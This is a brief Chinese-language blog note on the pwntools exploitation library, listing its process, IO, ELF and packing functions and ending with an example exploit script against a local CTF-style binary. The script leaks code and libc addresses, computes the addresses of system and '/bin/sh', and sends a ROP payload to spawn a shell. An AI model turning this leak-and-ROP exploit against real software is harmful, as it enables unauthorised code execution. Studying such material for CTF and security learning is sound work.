Pwntools使用指南小记 2019-05-09 06:40:12 Steven Xeldax ## 建立进程 本地: sh = process("./pwn") 远程: sh = remote("127.0.0.1",10001) 关闭连接:sh.close() ## IO模块 sh.send(data) 发送数据 sh.sendline(data) 发送一行数据,相当于在数据后面加\n sh.recv(numb = 2048, timeout = dufault) 接受数据,numb指定接收的字节,timeout指定超时 sh.recvline(keepends=True) 接受一行数据,keepends为是否保留行尾的\n sh.recvuntil("Hello,World\n",drop=fasle) 接受数据直到我们设置的标志出现 sh.recvall() 一直接收直到EOF sh.recvrepeat(timeout = default) 持续接受直到EOF或timeout sh.interactive() 直接进行交互,相当于回到shell的模式,在取得shell之后使用 ## ELF文件操作 e = ELF('/bin/cat') print hex(e.address) # 文件装载的基地址 0x400000 print hex(e.symbols['write']) # 函数地址 0x401680 print hex(e.got['write']) # GOT表的地址 0x60b070 print hex(e.plt['write']) # PLT的地址 0x401680 print hex(e.search('/bin/sh').next())# 字符串/bin/sh的地址 ## 数据操作 pack: p32,p64 unpack: u32, u64 ## example ``` #! coding:utf-8 from pwn import * context.log_level = 'debug' p=process('./pwn-f') gdb.attach(p) libc=ELF('./libc.so.6') create(25,'A'*24+'\x2d') delete(1,'yes') p.recvuntil('A'*24) base_addr=u64(p.recv(6).ljust(8,'\x00'))-0xd2d print '.text base: ',hex(base_addr) print 'str list addr: ',hex(base_addr+0x2020c0) delete(1,'yes') delete(0,'yes') create(32,'1'*24+p64(base_addr+0x11dc)) # rop = "" delete(1,'yes'+'\x90'*5+rop) free_addr=u64(p.recv(6).ljust(8,'\x00')) print hex(free_addr) libc_base=free_addr-libc.symbols['free'] system_addr=libc_base+libc.symbols['system'] sh_addr=libc_base+next(libc.search('/bin/sh')) print 'system address: ',hex(system_addr) print '/bin/sh address: ',hex(sh_addr) #gdb.attach(p,'b* '+hex(base_addr+0xd95)) delete(1,'yes'+'\x90'*5+p64(base_addr+0x11e3)+p64(sh_addr)+p64(system_addr)) p.interactive() ```